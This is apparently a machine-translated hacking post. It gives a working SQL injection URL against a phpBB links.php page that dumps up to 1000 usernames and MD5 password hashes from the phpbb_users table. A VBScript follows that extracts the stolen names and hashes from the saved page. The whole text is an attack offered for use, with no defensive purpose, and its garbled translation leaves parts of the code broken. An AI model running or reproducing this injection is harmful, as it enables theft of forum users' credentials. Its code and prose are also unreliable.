The injection code is as follows:
links.php?t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password, 4,5,6,7,8,9,10,11,12,13 from phpbb_users where user_id limit 0,1000/*
This extracts 1000 user names and MD5, the top of the save to HTM, to extract the MD5 and user name is very troublesome, wrote a paragraph of code. This code I am very satisfied with the estimation is the simplest method of extraction, hehe.
The code is as follows:
' Usage Example: cscript//nologo this.vbs c:\11000.htm >c:\1.txt
Copy Code code as follows:
On Error Resume Next
Set ie=wscript.createobject (" Internetexplorer.application ")
Set arg=wscript.arguments
If arg.count=0 then Wscript.Quit
Ie.visible=fal SE
ie.navigate arg (0)
while ie. Busy
Wscript.Sleep
wend
do
wscript.sleep
Loop Until ie. Readystate=4
for i=12 to ie. Document.links.length-2
Data=ie. Document.links (i). innertext
If Data <>13 Then
WScript.Echo data
WScript.Echo ie. Document.links (i). ALT
End If
Next
MsgBox "Convert complete"
